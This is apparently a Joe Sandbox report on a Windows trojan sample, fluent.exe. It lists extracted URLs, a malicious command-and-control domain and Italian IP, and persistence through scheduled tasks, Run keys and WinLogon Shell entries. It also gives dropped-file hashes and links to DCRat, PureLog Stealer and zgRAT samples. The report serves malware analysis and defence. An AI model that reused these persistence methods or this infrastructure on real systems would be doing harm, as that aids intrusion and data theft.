https://duckduckgo.com/chrome_newtab	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.enigmaprotector.com/openU	fluent.exe, 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://373292cm.nyashka.top	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.0000000003544000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://373292cm.nyP	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.0000000003544000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers8	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://373292cm.nyashka.top/	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.0000000003327000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.fonts.com	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.enigmaprotector.com/	fluent.exe, 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	driverSavesNet.exe, 00000005.00000002.1913167210.000000000382D000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2925956771.0000000003327000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2970623507.000000001DF72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.0000000013331000.00000004.00000800.00020000.00000000.sdmp, gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2951537951.00000000131F9000.00000004.00000800.00020000.00000000.sdmp, cNS6DCBMhD.11.dr, 6UZHuAyBj4.11.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
80.211.144.156	373292cm.nyashka.top	Italy		31034	ARUBA-ASNIT	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1499273
Start date and time:	2024-08-26 20:15:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fluent.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@51/50@1/1
EGA Information:	Successful, ratio: 15.4%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target driverSavesNet.exe, PID 1196 because it is empty
Execution Graph export aborted for target driverSavesNet.exe, PID 4480 because it is empty
Execution Graph export aborted for target driverSavesNet.exe, PID 5720 because it is empty
Execution Graph export aborted for target driverSavesNet.exe, PID 6524 because it is empty
Execution Graph export aborted for target driverSavesNet.exe, PID 7180 because it is empty
Execution Graph export aborted for target driverSavesNet.exe, PID 7840 because it is empty
Execution Graph export aborted for target gNKaMdWfDFzDkhEeKzQ.exe, PID 2128 because it is empty
Execution Graph export aborted for target gNKaMdWfDFzDkhEeKzQ.exe, PID 7408 because it is empty
Execution Graph export aborted for target gNKaMdWfDFzDkhEeKzQ.exe, PID 7848 because it is empty
Execution Graph export aborted for target gNKaMdWfDFzDkhEeKzQ.exe, PID 7948 because it is empty
Execution Graph export aborted for target gNKaMdWfDFzDkhEeKzQ.exe, PID 8076 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: fluent.exe

Simulations

Behavior and APIs

Time	Type	Description
14:16:31	API Interceptor	109966x Sleep call for process: gNKaMdWfDFzDkhEeKzQ.exe modified
19:16:24	Task Scheduler	Run new task: gNKaMdWfDFzDkhEeKzQ path: "C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe"
19:16:24	Task Scheduler	Run new task: gNKaMdWfDFzDkhEeKzQg path: "C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe"
19:16:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ "C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe"
19:16:26	Task Scheduler	Run new task: driverSavesNet path: "C:\comReviewintocommon\driverSavesNet.exe"
19:16:26	Task Scheduler	Run new task: driverSavesNetd path: "C:\comReviewintocommon\driverSavesNet.exe"
19:16:34	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run driverSavesNet "C:\comReviewintocommon\driverSavesNet.exe"
19:16:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ "C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe"
19:16:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run driverSavesNet "C:\comReviewintocommon\driverSavesNet.exe"
19:16:59	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ "C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe"
19:17:07	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run driverSavesNet "C:\comReviewintocommon\driverSavesNet.exe"
19:17:24	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe"
19:17:32	Autostart	Run: WinLogon Shell "C:\Users\Default\Application Data\gNKaMdWfDFzDkhEeKzQ.exe"
19:17:41	Autostart	Run: WinLogon Shell "C:\Users\Default\Recent\gNKaMdWfDFzDkhEeKzQ.exe"
19:17:50	Autostart	Run: WinLogon Shell "C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe"
19:17:58	Autostart	Run: WinLogon Shell "C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe"
19:18:06	Autostart	Run: WinLogon Shell "C:\comReviewintocommon\driverSavesNet.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
80.211.144.156	dexterion.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	728996cm.n9sh.top/Provider_apiSqlprivateuploadsdownloads.php
	gih4vWVGvR.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	857728cm.n9sh.top/VideolinepipetojavascriptPacketUpdateapiDefaultdb.php
	zFjRRZ5cl1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	okidoki.top/phppacketApiprotectsqlwindowsdatalifecdn.php
	Internal.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php
	Fatality.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php
	Nerolore.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php
	SpotifyStartupTask.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	973800cm.nyashsens.top/SecureBigloadServerDefaulttestdlepublic.php
	SpotifyStartupTask2.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	572335cm.n9sh.top/CpuserverAsyncuniversal.php
	BxV2vsnP6f.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	fizika.top/vmphp_geoUpdateProtectBasecdn.php
	loader.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	782652cm.n9sh.top/providerImageProcessorGeneratorwp.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
373292cm.nyashka.top	Internal.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	Fatality.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	Nerolore.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	jW5TA1J9Z1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ARUBA-ASNIT	dexterion.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	gih4vWVGvR.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	zFjRRZ5cl1.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	Internal.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	Fatality.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	Nerolore.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	SpotifyStartupTask.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	SpotifyStartupTask2.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	BxV2vsnP6f.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156
	loader.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	80.211.144.156

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\BKssDYZe.log	3797b089c11dcb14a87fecc45c8ab3e0f9937b30dde47.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	WebDriverDll.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Loader.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	yyTqxbOXbF.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	4fmxsamrPG.exe	Get hash	malicious	DCRat	Browse
	4QXC0LSV8t.exe	Get hash	malicious	DCRat	Browse
	WWAHost.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	d9547f6fb33a04224e2c6c21da599dce528933049e790.exe	Get hash	malicious	DCRat	Browse
	X5DJaKj0aB.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, zgRAT	Browse
	SjA6nVF1ey.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\51176c96b1e3a4

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	ASCII text, with very long lines (467), with no line terminators
Category:	dropped
Size (bytes):	467
Entropy (8bit):	5.845412846977042
Encrypted:	false
SSDEEP:	6:/VryQle7vE53QYGtVwpN3EgpoBjINeUv1rvgd0iCecRjsxBQ0d18t0tU3ZnnYhq:/VmrvE53QYYLgpjNNOJCxwxm0cqt6P
MD5:	B3A8F97E2C0EF58D85CA08139B3350BB
SHA1:	33D71C27EFDD481C059DE7635E308B52E844EF3A
SHA-256:	B319B735654AD8DF47816591F1E197A07C6C5EE61FB4FD82B87B51D545E7744E
SHA-512:	7475CBBA299B576A5065B7E2EC36C8CB43CE7E249E969206F3F539328CA161ECF8410DC50628104A3095CA200384667EC0DEA07AE7A8C36C50FBC02F1674B93B
Malicious:	false
Preview:	jMK6J0IqDUHQGfS1PeBOBdcHeSxNtkFEE7DmZJXwDiKSdRDODFDUiwbGuDb0C46cOCLIcqcFHPLcSKnNPjKohvgSf62VrhuIlrDbF4vXn7NTk8xkZOkduS5dg3mgyGYjeC1lGMIVxxBjhNrhIR6d6QYTwj4MRPjgjnyiHMdNFPp7QV5TLFXgK4nOnhzgR5EiOeA4ZIa6ysXrlbCaolAL1CWoAj5jX65KLHtwVB4Cpbsbh6nLeY2q42qLHV4zN0i1xNgdsQFmq8gZU5HE6tF8DOPSahpAHFzz30nTZJdOTQ96WR0LN02dukxi8NDKkEflJqgeSyoxQ0oxOS6IrdxRNVESCEVMFSnPuYxpvW3ZLEN359TpR4dHROYymNbNccr8NZD0fRXVkYFIIKWDuq5Lyg7gA9Ch4p6tWOqf6dJ9gIg3IPpb0YcwhgJrcg0gO0a4bVv3e1GRg5pq9EXuTlq

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2011136
Entropy (8bit):	7.5599312737247715
Encrypted:	false
SSDEEP:	24576:aaYfSyZiVbDcHyKpSxoKSoVJqjvQhufJOx9lpougTDMy79UWvlwYSrlN:aOQAxoRobq0MJOx9vg8y79UgKYSr
MD5:	F5C25B9C7F555EE1D53CE4A530C475C8
SHA1:	7E0A41CB7C6F71423A4CC932E47DBF0C217E76E4
SHA-256:	749CCD7B752553B5D7F9D9979EB8DADB6D70FB8879B22E1C6C315931D931A8AA
SHA-512:	A6EBF4AE7860C030292BBCFDBAD720A0D0DB06EF147673B6B504CADF819195960A427D33C757B370C544D43AD15AA48D1AF1D1EBA4944B15B6376A353FBFBE1D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Y.f................................. ........@.. ....................... ............@.................................p...K....... ............................................................................ ............... ..H............text....... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.......................l...i............................................0..........(.... ........8........E...........9.......8....(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........j...........v...>...8....~....:f... ....8.......... ....~....{....:....& ....8........~....(r...~....(v... ....<.... ....8y...r...ps....z*8.... ....~....{....:T...& ....8I...~....(j... .... .... ....s....~....(n......

C:\Recovery\51176c96b1e3a4

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	ASCII text, with very long lines (409), with no line terminators
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.85839713182979
Encrypted:	false
SSDEEP:	12:22+/Mmjs/L0Q5LS/MjhXjHp6742WbbKSmhn:1mAD0Q5+/QhpXbSn
MD5:	6C490BCC332B4326F70044DC06E07A06
SHA1:	46D13606C1385378445FCEF1228F5024EB19CAF3
SHA-256:	F710331F04E37DB99F5555C75B3145E1F92F2A44CEFCEDBFEAA034B5A6A46DD4
SHA-512:	4F23EBF02CF8F74E8B2C4EEB006983FA17BB9A6438C7CA0F46156F8194B78C599DB5673D69B35B8F7293AD8243A029B08BD341C6E9C7ECF1C86A56F8E69C1C58
Malicious:	false
Preview:	4gZ0MgVWoqqIc9Yd9PYJ0RbM57UmTYT21EmVJZDstywOFiziz7rRJxinFM4OLtDPXxRYWDTkMqaBfMHWIwxVrBtEf9Q6eyg9vg1RRaLvnHFcWhI2FiGZ5riVDM2WxXGXJaP8UzEskBsk6Rr81X15sHEE8gNFhy8QArS5RJhPdXy497Ywf4fZfKpCWL9ym9KvDbjP8vrszlcUSJEAHajnTiv0BQjFJtneNC0hYJytMwj3sVtMG9rLZhbeqsNrMliG87HPThl7lzag91IqgW8KBbEqlW1p6GhlOd4uOe3jXujkG4fykgL0nXEh3bo7p6AfSzSf6YcCcYwR1ejq0CFZ5r70YX0wz64btERRm92MEJXOlxpZ18Gm1ljl1bHjhpMfeVhxMSD0K2VvTtPkrb510RjIe

C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2011136
Entropy (8bit):	7.5599312737247715
Encrypted:	false
SSDEEP:	24576:aaYfSyZiVbDcHyKpSxoKSoVJqjvQhufJOx9lpougTDMy79UWvlwYSrlN:aOQAxoRobq0MJOx9vg8y79UgKYSr
MD5:	F5C25B9C7F555EE1D53CE4A530C475C8
SHA1:	7E0A41CB7C6F71423A4CC932E47DBF0C217E76E4
SHA-256:	749CCD7B752553B5D7F9D9979EB8DADB6D70FB8879B22E1C6C315931D931A8AA
SHA-512:	A6EBF4AE7860C030292BBCFDBAD720A0D0DB06EF147673B6B504CADF819195960A427D33C757B370C544D43AD15AA48D1AF1D1EBA4944B15B6376A353FBFBE1D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Y.f................................. ........@.. ....................... ............@.................................p...K....... ............................................................................ ............... ..H............text....... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.......................l...i............................................0..........(.... ........8........E...........9.......8....(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........j...........v...>...8....~....:f... ....8.......... ....~....{....:....& ....8........~....(r...~....(v... ....<.... ....8y...r...ps....z*8.... ....~....{....:T...& ....8I...~....(j... .... .... ....s....~....(n......

C:\Users\Default\AppData\Roaming\51176c96b1e3a4

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	ASCII text, with very long lines (414), with no line terminators
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.822213202382236
Encrypted:	false
SSDEEP:	12:XKBBcdvC3XKoUUS33xz1TLhA7w4XnPeRYX4nkkrCTQ:XK30vxoNS33THhenPeRY3kGc
MD5:	DA6F4BC1E1193BA8418B666F2D0B855D
SHA1:	16E924569AC51D4C04AF85F4C1D31C5C87CD2507
SHA-256:	BEB499A557BD62985A1EC418D533A0EA0CC37AF6D14C3F9F584A21FAC84BFF55
SHA-512:	7A7CF9BDD7C5D382D5D71E2363CFFD35DFAC7A464CD7F1B34EBB6FCD82676D8B2ACE6D412686B1BCAE9272DEA444D07B0D8DFB8B9A8F54260939DD83217C8408
